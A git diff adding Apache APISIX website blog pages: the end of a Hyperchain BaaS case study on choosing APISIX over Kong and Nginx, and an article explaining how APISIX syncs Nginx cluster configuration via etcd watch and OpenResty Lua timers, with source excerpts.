+<p><img src="https://static.apiseven.com/202108/1646723635433-7e76d02b-99e9-479a-8cbf-a56ae120913d.014" alt="Access Control"></p>
+<p>Unlike traditional software, different heterogeneous chains have their own very complicated RBAC permission control, so users need to add many certificates on the client side, which is a great headache.</p>
+<p>In order to solve this pain point, Baas platform of Hyperchain Technology uses Apache APISIX’s Key-auth plugin to allow users with permission to access directly and unify the permission control of all chains.</p>
+<h4 id="improved-node-stability">Improved node stability</h4>
+<p><img src="https://static.apiseven.com/202108/1646723635434-60398981-d33b-4b7c-b43c-0aba4b0779a7.015" alt="blockchain nodes 2"></p>
+<p>One of the properties of blockchain is that, essentially, accessing any node is the same.</p>
+<p>Just like Bitcoin, we access any node to get the data, so many users operate directly against a node.</p>
+<p><img src="https://static.apiseven.com/202108/1646723635435-3dd3e082-f1aa-4763-ab46-c15d34a28f58.016" alt="Improved node stability"></p>
+<p>However, the direct access to a single node model is vulnerable to attacks. For example, banks have a very high concurrency, TPS can reach 4–5W/sec, and every transaction will hit this node.</p>
+<p>In order to achieve the effect of fast dynamic scaling, Hyperchain’s Baas platform utilizes Apache APISIX HPA deployment model on Kubernetes to dynamically scale according to the traffic, effectively solving the single-point traffic impact problem.</p>
+<h4 id="multi-protocol-support">Multi-protocol support</h4>
+<p><img src="https://static.apiseven.com/202108/1646723635435-d68f64a9-6dc2-40d4-ab81-9604767d363d.017" alt="Multi-protocol support"></p>
+<p>Because Hyperchain’s Baas platform uses a lot of heterogeneous chains, the protocols used are very diverse, such as HTTP, RPC, WebSocket and so on. Apache APISIX supports multi-protocols very well, which can fully meet the use of Baas platform in the relevant scenarios, which significantly reduces the development cost.</p>
+<p><img src="https://static.apiseven.com/202108/1646723635436-2cd77c45-6a60-4ad2-aa24-0d47758fbe3a.018" alt="Multi-protocol support 2"></p>
+<h2 id="what-were-the-kinks-we-went-through-before-choosing-apache-apisix">What were the kinks we went through before choosing Apache APISIX?</h2>
+<p>Before choosing Apache APISIX, Hyperchain’s Baas platform was already using Kong, but Kong was later abandoned.</p>
+<p><strong>Why did we give up on Kong?</strong></p>
+<p>Kong uses PostgreSQL to store its information, which is obviously not a good way to do it.</p>
+<p><img src="https://static.apiseven.com/202108/1646723635437-69eef80d-9f35-4164-9779-b1c65bc311d8.019" alt="Kong"></p>
+<p>In the software industry, high availability configuration of databases is very complex. Not only do you need to have a dedicated DBA, but the implementation is also very difficult.</p>
+<p>The Baas system of Hyperchain Technology is already using MySQL, if we need to build a PostgreSQL database here, it means that Hyperchain Technology’s Baas system needs to have two sets of relational databases. This brings problems to the implementation difficulty and operation and maintenance cost, and introduces more risks.</p>
+<p>At the same time, because ETCD is also used in many places of Hyperchain’s Baas platform, finally, Hyperchain abandoned Kong and invested in Apache APISIX which is based on ETCD.</p>
+<p><strong>Why did we give up on Nginx?</strong></p>
+<p>Some of you may think, “Why not use Nginx?</p>
+<p>Yes, Hyperchain’s BaaS platform used to use Nginx, but later we found that Nginx has many imperfections compared to Apache APISIX.</p>
+<p><img src="https://static.apiseven.com/202108/1646723635437-d6e57e5d-3a6f-4140-9a1a-68adcd3790a0.020" alt="Nginx"></p>
+<ul>
+<li><strong>Issues on hot starts and hot plugins</strong></li>
+</ul>
+<p>In the Hyperchain BaaS platform, we not only need to manage the federated chain, but also need to be able to add and delete nodes at any time.</p>
+<ul>
+<li><strong>Clustering difficulties</strong></li>
+</ul>
+<p>While Nginx is very difficult to cluster, Apache APISIX can be implemented with ETCD clustering enhancements.</p>
+<ul>
+<li><strong>Unable to proxy TCP and UDP directly</strong></li>
+</ul>
+<p>By default, Nginx can only implement proxies for Layer 7 networks. To support Layer 4 networks, you need to recompile the Stream module, while Apache APISIX can support both Layer 4/7 proxies.</p>
+<ul>
+<li><strong>Lack of Dashboard</strong></li>
+</ul>
+<p>Nginx does not have a Dashboard, and the Apache APISIX Dashboard makes it less difficult for development and operations staff to manage nodes.</p>
+<h2 id="future-plans">Future Plans</h2>
+<p><img src="https://static.apiseven.com/202108/1646723635438-7392246c-e644-41ca-a4aa-599533f47239.021" alt="Future Plans"></p>
+<h3 id="plan-1-use-apache-apisix-provided-or-self-developed-logging-plugins">Plan 1: Use Apache APISIX provided or self-developed logging plugins</h3>
+<p>The official website of Apache APISIX already provides a lot of logging plugins, such as HTTP and UDP support, including kafka, etc. However, for a platform like Hyperchain BaaS, which needs to control thousands of blockchain networks, it is a big headache to search for fault traces in the logs when every problem occurs.</p>
+<p>In the near future, Hyperchain will add some APM functions between BaaS system and blockchain system based on Apache APISIX. Improve the efficiency of operation and maintenance management in multi-chain scenarios.</p>
+<h3 id="plan-2-development-of-monitoring-plugins-to-achieve-traceability">Plan 2: Development of monitoring plugins to achieve traceability</h3>
+<p>Domestic regulation of blockchain is very strict, and all operations need to be traceable and traceable.</p>
+<p>In the future, Hyperchain Technology will develop regulatory plugins based on Apache APISIX to improve the regulatory capability and add VIP, whitelist, replay and other functions.</p>
+<h3 id="plan-3-use-apisix-ingress-controller-instead-of-kubernetes-default-nginx-ingress">Plan 3: Use APISIX Ingress Controller instead of Kubernetes’ default Nginx-Ingress</h3>
+<p>When deploying Kubernetes, we usually choose Nginx-Ingress to handle outbound requests, but because of some of the Nginx issues mentioned above, Hyperchain is investigating using APISIX Ingress Controller.</p>
+<h3 id="plan-4-explore-service-mesh">Plan 4: Explore Service Mesh</h3>
+<p>Hyperchain has tried traffic-mesh before, and will try to use APISIX Mesh in the future.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a hr [...]
\ No newline at end of file
diff --git a/blog/2021/08/10/apisix-nginx/index.html b/blog/2021/08/10/apisix-nginx/index.html
new file mode 100644
index 00000000000..4d9fb96819a
--- /dev/null
+++ b/blog/2021/08/10/apisix-nginx/index.html
@@ -0,0 +1,370 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>APISIX: Dynamic Management for NGINX Clusters | Apache APISIX</title><meta name="description" content="Learn how Apache APISIX adds dynamic configuration, REST API control, and cluster management on top of NGINX with Lua and etcd."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/08/10/apisix-nginx [...]
+<p>This article is re-posted from Tao Hui’s personal blog, and introduces the principles of Apache APISIX for REST API remote control of Nginx clusters based on APISIX version 2.8, OpenResty version 1.19.3.2, and Nginx version 1.19.3.</p>
+</blockquote>
+<!--truncate-->
+<p>One of the most criticized aspects of the open source version of Nginx is that it does not have dynamic configuration, remote API, and cluster management capabilities. Apache APISIX, the open source seven-tier gateway graduated from the Apache Foundation, implements dynamic management of Nginx clusters based on etcd and Lua.</p>
+<p><img src="https://static.apiseven.com/202108/1631170283612-ba5e27ff-726b-47a6-aa51-84731b067c44.png" alt="APISIX architecture diagram"></p>
+<p>Making Nginx dynamically, cluster-managed is not easy, as it would face the following problems.</p>
+<ul>
+<li>The microservices architecture makes for a large variety and number of upstream services, which leads to extremely frequent changes to routing rules, and upstream Servers. Nginx’s route matching is based on static Trie prefix trees, hash tables, and regular arrays, so once <code>server_name</code> and <code>location</code> change, it is impossible to dynamically change the configuration without performing a reload.</li>
+<li>Nginx positions itself as an ADC edge load balancer, so it does not support the HTTP2 protocol upstream. This makes it more difficult for the OpenResty ecosystem to implement the etcd gRPC interface, so receiving configuration changes through the watch mechanism is inefficient</li>
+<li>Multi-process architecture makes it harder to synchronize data between worker processes, so you must choose a low-cost implementation mechanism to ensure that each Nginx node and worker process has the latest configuration</li>
+</ul>
+<p>Apache APISIX is based on the Lua timer and the lua-resty-etcd module for dynamic configuration management. The principle of Nginx clustering.</p>
+<h2 id="configuration-synchronization-scheme-based-on-etcd-watch-mechanism">Configuration synchronization scheme based on etcd watch mechanism</h2>
+<p>Managing a cluster must rely on a centralized configuration, and etcd is one such database. etcd was chosen as the configuration center for Apache APISIX because it has two advantages.</p>
+<ul>
+<li>etcd uses the Paxos-like Raft protocol to guarantee data consistency, and it is a decentralized, distributed database that is more reliable than relational databases</li>
+<li>etcd’s watch mechanism allows clients to monitor changes to a key, i.e., if the value of a key like /nginx/http/upstream changes, the watch client will be notified immediately, as shown in the following figure.
+<img src="https://static.apiseven.com/202108/1631170345853-f020a64d-3e97-49c0-8395-c9e4e9cf4233.jpeg" alt="etcd-based synchronization of nginx configuration"></li>
+</ul>
+<p>Therefore, unlike Orange and Kong, Apache APISIX uses etcd as the centralized configuration component. You can see a similar configuration in a production environment of Apache APISIX via etcdctl as follows.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#8B949E"># etcdctl get "/apisix/upstreams/1"</span></span>
+<span class="line"><span style="color:#A5D6FF">/apisix/upstreams/1</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span><span style="color:#A5D6FF">"hash_on"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"vars"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"nodes"</span><span style="color:#E6EDF3">:{</span><span style="color:#A5D6FF">"httpbin.org:80":1</span><span style="color:#E6EDF3">}, </span><span style="color:#A5D6FF">"create_time":1627982128</span><span style="color:#E6EDF3">, </span><span style= [...]
+<p>Where the prefix /apisix can be changed in conf/config.yaml, e.g.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">etcd</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> host</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">"http://127.0.0.1:2379"</span></span>
+<span class="line"><span style="color:#7EE787"> prefix</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">/apisix</span><span style="color:#8B949E"> # apisix configurations prefix</span></span></code></pre>
+<p>and upstreams/1 is equivalent to http { upstream 1 {} } in nginx.conf. Similar keywords are used in /apisix/services/, /apisix/routes/, and so on.</p>
+<p>So, how does Nginx get the etcd configuration data changes through the watch mechanism? Does it start a new agent process? Does it communicate with etcd via HTTP/1.1 or gRPC?</p>
+<h2 id="ngxtimerat-timer">ngx.timer.at timer</h2>
+<p>Apache APISIX does not start a process other than Nginx to communicate with etcd. It actually implements the watch mechanism through the <code>ngx.timer.at</code> timer. For those who are not familiar with OpenResty, let’s take a look at how the timer is implemented in Nginx, which is the basis for the watch mechanism.</p>
+<h3 id="nginxs-red-black-tree-timer">Nginx’s red-black tree timer</h3>
+<p>Nginx uses an epoll + nonblock socket multiplexing mechanism to implement an event handling model in which each worker process cycles through network IO and timer events.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="c"><code><span class="line"><span style="color:#8B949E">//see the src/os/unix/ngx_process_cycle.c file for Nginx</span></span>
+<span class="line"><span style="color:#FF7B72">static</span><span style="color:#FF7B72"> void</span></span>
+<span class="line"><span style="color:#D2A8FF">ngx_worker_process_cycle</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">ngx_cycle_t</span><span style="color:#FF7B72"> *</span><span style="color:#FFA657">cycle</span><span style="color:#E6EDF3">, </span><span style="color:#FF7B72">void</span><span style="color:#FF7B72"> *</span><span style="color:#FFA657">data</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FF7B72"> for</span><span style="color:#E6EDF3"> (;; ) {</span></span>
+<span class="line"><span style="color:#D2A8FF"> ngx_process_events_and_timers</span><span style="color:#E6EDF3">(cycle);</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#8B949E">// See the ngx_proc.c file</span></span>
+<span class="line"><span style="color:#FF7B72">void</span></span>
+<span class="line"><span style="color:#D2A8FF">ngx_process_events_and_timers</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">ngx_cycle_t</span><span style="color:#FF7B72"> *</span><span style="color:#FFA657">cycle</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#E6EDF3"> timer </span><span style="color:#FF7B72">=</span><span style="color:#D2A8FF"> ngx_event_find_timer</span><span style="color:#E6EDF3">();</span></span>
+<span class="line"><span style="color:#E6EDF3"> (</span><span style="color:#FF7B72">void</span><span style="color:#E6EDF3">) </span><span style="color:#D2A8FF">ngx_process_events</span><span style="color:#E6EDF3">(cycle, timer, flags);</span></span>
+<span class="line"><span style="color:#D2A8FF"> ngx_event_process_posted</span><span style="color:#E6EDF3">(cycle, </span><span style="color:#FF7B72">&</span><span style="color:#E6EDF3">ngx_posted_accept_events);</span></span>
+<span class="line"><span style="color:#D2A8FF"> ngx_event_expire_timers</span><span style="color:#E6EDF3">();</span></span>
+<span class="line"><span style="color:#D2A8FF"> ngx_event_process_posted</span><span style="color:#E6EDF3">(cycle, </span><span style="color:#FF7B72">&</span><span style="color:#E6EDF3">ngx_posted_events);</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>The <code>ngx_event_expire_timers</code> function calls the handler method of all timeout events. In fact, the timer is implemented by a <a href="https://zh.wikipedia.org/zh-hans/%E7%BA%A2%E9%BB%91%E6%A0%91">red-black tree</a> (a balanced ordered binary tree), where the key is the absolute expiration time of each event. This way, expired events can be found quickly by comparing the minimum node with the current time.</p>
+<h3 id="lua-timer-for-openresty">Lua timer for OpenResty</h3>
+<p>Of course, the above C functions are very inefficient to develop. Therefore, OpenResty wraps the Lua interface and exposes the C function <code>ngx_timer_add</code> to the Lua language via <a href="https://github.com/openresty/lua-nginx-module#ngxtimerat">ngx.timer.at</a>.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="c"><code><span class="line"><span style="color:#8B949E">//see OpenResty /ngx_lua-0.10.19/src/ngx_http_lua_timer.c file</span></span>
+<span class="line"><span style="color:#FF7B72">void</span></span>
+<span class="line"><span style="color:#D2A8FF">ngx_http_lua_inject_timer_api</span><span style="color:#E6EDF3">(lua_State </span><span style="color:#FF7B72">*</span><span style="color:#FFA657">L</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#D2A8FF"> lua_createtable</span><span style="color:#E6EDF3">(L, </span><span style="color:#79C0FF">0</span><span style="color:#8B949E"> /* narr */</span><span style="color:#E6EDF3">, </span><span style="color:#79C0FF">4</span><span style="color:#8B949E"> /* nrec */</span><span style="color:#E6EDF3">);</span><span style="color:#8B949E"> /* ngx.timer. */</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#D2A8FF"> lua_pushcfunction</span><span style="color:#E6EDF3">(L, ngx_http_lua_ngx_timer_at);</span></span>
+<span class="line"><span style="color:#D2A8FF"> lua_setfield</span><span style="color:#E6EDF3">(L, </span><span style="color:#FF7B72">-</span><span style="color:#79C0FF">2</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"at"</span><span style="color:#E6EDF3">);</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#D2A8FF"> lua_setfield</span><span style="color:#E6EDF3">(L, </span><span style="color:#FF7B72">-</span><span style="color:#79C0FF">2</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"timer"</span><span style="color:#E6EDF3">);</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span>
+<span class="line"><span style="color:#FF7B72">static</span><span style="color:#FF7B72"> int</span></span>
+<span class="line"><span style="color:#D2A8FF">ngx_http_lua_ngx_timer_at</span><span style="color:#E6EDF3">(lua_State </span><span style="color:#FF7B72">*</span><span style="color:#FFA657">L</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#D2A8FF"> ngx_http_lua_ngx_timer_helper</span><span style="color:#E6EDF3">(L, </span><span style="color:#79C0FF">0</span><span style="color:#E6EDF3">);</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span>
+<span class="line"><span style="color:#FF7B72">static</span><span style="color:#FF7B72"> int</span></span>
+<span class="line"><span style="color:#D2A8FF">ngx_http_lua_ngx_timer_helper</span><span style="color:#E6EDF3">(lua_State </span><span style="color:#FF7B72">*</span><span style="color:#FFA657">L</span><span style="color:#E6EDF3">, </span><span style="color:#FF7B72">int</span><span style="color:#FFA657"> every</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#79C0FF"> ngx_event_t</span><span style="color:#FF7B72"> *</span><span style="color:#E6EDF3">ev </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> NULL</span><span style="color:#E6EDF3">;</span></span>
+<span class="line"><span style="color:#E6EDF3"> ev->handler </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ngx_http_lua_timer_handler;</span></span>
+<span class="line"><span style="color:#D2A8FF"> ngx_add_timer</span><span style="color:#E6EDF3">(ev, delay);</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>So when we call <code>ngx.timer.at</code> Lua timer, we are adding the <code>ngx_http_lua_timer_handler</code> callback function to Nginx’s red-black tree timer, which does not block Nginx.</p>
+<p>Let’s see how Apache APISIX uses <code>ngx.timer.at</code>.</p>
+<h3 id="apache-apisix-timer-based-watch-mechanism">Apache APISIX timer-based watch mechanism</h3>
+<p>The Nginx framework provides a number of hooks for C module development, and OpenResty exposes some of them as Lua, as shown in the following image.</p>
+<p><img src="https://static.apiseven.com/202108/1631170424663-53f56c99-aefc-4546-ac0b-76a25a6f0071.png" alt="openresty hooks"></p>
+<p>Apache APISIX uses only eight of these hooks (note that APISIX does not use <code>set_by_lua</code> and <code>rewrite_by_lua</code>; the rewrite phase of the plugin is actually self-defined by Apache APISIX and is not related to Nginx), including</p>
+<ul>
+<li>init_by_lua: initialization of the Master process when it starts</li>
+<li>init_worker_by_lua: initialization of each worker process at startup (including initialization of privileged agent processes, which are key to implementing remote RPC calls from multilingual plugins such as Java)</li>
+<li>ssl_certificate_by_lua: openssl provides a hook when handling the TLS handshake, which OpenResty exposes as Lua by modifying the Nginx source code</li>
+<li>access_by_lua: After receiving the downstream HTTP request header, it matches the routing rules such as Host domain, URI, Method, etc., and selects the Service, plugins in Upstream and upstream Server.</li>
+<li>balancer_by_lua: All reverse proxy modules executed in the content phase call back the <code>init_upstream</code> hook function, named <code>balancer_by_lua</code> by OpenResty, when the upstream Server is selected.</li>
+<li>header_filter_by_lua: hook to be executed before sending HTTP response headers downstream</li>
+<li>body_filter_by_lua: hook to be executed before sending the HTTP response packet body downstream</li>
+<li>log_by_lua: hook for logging access logs</li>
+</ul>
+<p>Once we have the above knowledge ready, we can answer how Apache APISIX receives updates to etcd data.</p>
+<h4 id="how-nginxconf-is-generated">How nginx.conf is generated</h4>
+<p>Each Nginx worker process starts a timer in the <code>init_worker_by_lua</code> phase with the <code>http_init_worker</code> function.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#79C0FF">init_worker_by_lua_block</span><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#E6EDF3"> apisix.</span><span style="color:#79C0FF">http_init_worker</span><span style="color:#E6EDF3">()</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>You may be curious to know that you don’t see nginx.conf after downloading the Apache APISIX source code, where did this configuration come from?</p>
+<p>The nginx.conf here is actually generated in real time by the Apache APISIX startup command. When you execute make run, it generates nginx.conf based on the Lua template apisix/cli/ngx_tpl.lua file. Note that the template rules here are self-implemented by OpenResty; see <a href="https://github.com">lua-resty-template</a> for syntax details. /bungle/lua-resty-template). See the apisix/cli/ops.lua file for the specific code that generates nginx.conf.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#FF7B72">local</span><span style="color:#E6EDF3"> template </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"resty.template"</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#FF7B72">local</span><span style="color:#E6EDF3"> ngx_tpl </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.cli.ngx_tpl"</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#FF7B72">local</span><span style="color:#FF7B72"> function</span><span style="color:#D2A8FF"> init</span><span style="color:#E6EDF3">(env)</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> yaml_conf, err </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> file.</span><span style="color:#79C0FF">read_yaml_conf</span><span style="color:#E6EDF3">(env.</span><span style="color:#79C0FF">apisix_home</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> conf_render </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> template.</span><span style="color:#79C0FF">compile</span><span style="color:#E6EDF3">(ngx_tpl)</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> ngxconf </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> conf_render</span><span style="color:#E6EDF3">(sys_conf)</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> ok, err </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> util.</span><span style="color:#79C0FF">write_file</span><span style="color:#E6EDF3">(env.</span><span style="color:#79C0FF">apisix_home</span><span style="color:#FF7B72"> ..</span><span style="color:#A5D6FF"> "/conf/nginx.conf"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> ngxconf)</span></span></code></pre>
+<p>Of course, Apache APISIX allows you to modify some of the data in the nginx.conf template by modifying the conf/config.yaml configuration in a way that mimics the syntax of conf/config-default.yaml. See the <code>read_yaml_conf</code> function for an example of how to do this.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#FF7B72">function</span><span style="color:#D2A8FF"> _M</span><span style="color:#E6EDF3">.</span><span style="color:#D2A8FF">read_yaml_conf</span><span style="color:#E6EDF3">(apisix_home)</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> local_conf_path </span><span style="color:#FF7B72">=</span><span style="color:#FFA657"> profile</span><span style="color:#E6EDF3">:</span><span style="color:#79C0FF">yaml_path</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"config-default"</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> default_conf_yaml, err </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> util.</span><span style="color:#79C0FF">read_file</span><span style="color:#E6EDF3">(local_conf_path)</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#E6EDF3"> local_conf_path </span><span style="color:#FF7B72">=</span><span style="color:#FFA657"> profile</span><span style="color:#E6EDF3">:</span><span style="color:#79C0FF">yaml_path</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"config"</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> user_conf_yaml, err </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> util.</span><span style="color:#79C0FF">read_file</span><span style="color:#E6EDF3">(local_conf_path)</span></span>
+<span class="line"><span style="color:#E6EDF3"> ok, err </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> merge_conf</span><span style="color:#E6EDF3">(default_conf, user_conf)</span></span>
+<span class="line"><span style="color:#FF7B72">end</span></span></code></pre>
+<p>As you can see, only some of the data in the ngx_tpl.lua template can be replaced by the yaml configuration, where conf/config-default.yaml is the official default configuration, and conf/config.yaml is a custom configuration overridden by the user. If you feel that replacing the template data is not enough, you can modify the ngx_tpl template directly.</p>
+<h4 id="how-apache-apisix-gets-etcd-notifications">How Apache APISIX gets etcd notifications</h4>
+<p>Apache APISIX stores the configurations to be monitored in etcd with different prefixes, which currently include the following 11 types.</p>
+<ul>
+<li>/apisix/consumers/: Apache APISIX supports the consumer abstraction upstream category</li>
+<li>/apisix/global_rules/: global generic rules</li>
+<li>/apisix/plugin_configs/: Plugin that can be reused across Router</li>
+<li>/apisix/plugin_metadata/: metadata of some plugins</li>
+<li>/apisix/plugins/: list of all Plugin plugins</li>
+<li>/apisix/proto/: When passing the gRPC protocol, some plugins need to convert the protocol content, this configuration stores the protobuf message definition</li>
+<li>/apisix/routes/: Routing information, which is the entry point for HTTP request matching, you can specify the upstream Server directly, or mount services or upstream</li>
+<li>/apisix/services/: you can abstract the common parts of similar router as services and mount the plugin</li>
+<li>/apisix/ssl/: SSL certificate public and private keys and related matching rules</li>
+<li>/apisix/stream_routes/: route matching rules for OSI Layer 4 gateways</li>
+<li>/apisix/upstreams/: abstraction of a set of upstream Server hosts</li>
+</ul>
+<p>Each type of configuration here has a different processing logic, so Apache APISIX abstracts the apisix/core/config_etcd.lua file to focus on the update maintenance of each type of configuration on etcd. Each type of configuration in the <code>http_init_worker</code> function generates 1 config_etcd object.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#FF7B72">function</span><span style="color:#D2A8FF"> _M</span><span style="color:#E6EDF3">.</span><span style="color:#D2A8FF">init_worker</span><span style="color:#E6EDF3">()</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> err</span></span>
+<span class="line"><span style="color:#E6EDF3"> plugin_configs, err </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> core.</span><span style="color:#79C0FF">config</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">new</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"/plugin_configs"</span><span style="color:#E6EDF3">, {</span></span>
+<span class="line"><span style="color:#E6EDF3"> automatic </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> true</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> item_schema </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> core.</span><span style="color:#79C0FF">schema</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">plugin_config</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> checker </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> plugin_checker,</span></span>
+<span class="line"><span style="color:#E6EDF3"> })</span></span>
+<span class="line"><span style="color:#FF7B72">end</span></span></code></pre>
+<p>And in the new function of <code>config_etcd</code>, the <code>_automatic_fetch</code> timer will be registered recursively:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#FF7B72">function</span><span style="color:#D2A8FF"> _M</span><span style="color:#E6EDF3">.</span><span style="color:#D2A8FF">new</span><span style="color:#E6EDF3">(key, opts)</span></span>
+<span class="line"><span style="color:#79C0FF"> ngx_timer_at</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">0</span><span style="color:#E6EDF3">, _automatic_fetch, obj)</span></span>
+<span class="line"><span style="color:#FF7B72">end</span></span></code></pre>
+<p>The <code>_automatic_fetch</code> function iterates the <code>sync_data</code> function (wrapped under xpcall to catch exceptions).</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#FF7B72">local</span><span style="color:#FF7B72"> function</span><span style="color:#D2A8FF"> _automatic_fetch</span><span style="color:#E6EDF3">(premature, self)</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> ok, err </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> xpcall</span><span style="color:#E6EDF3">(</span><span style="color:#FF7B72">function</span><span style="color:#E6EDF3">()</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> ok, err </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> sync_data</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#FF7B72"> end</span><span style="color:#E6EDF3">, </span><span style="color:#79C0FF">debug.traceback</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#79C0FF"> ngx_timer_at</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">0</span><span style="color:#E6EDF3">, _automatic_fetch, </span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#FF7B72">end</span></span></code></pre>
+<p>The <code>sync_data</code> function will get updates through etcd’s watch mechanism, which we will analyze in detail next.</p>
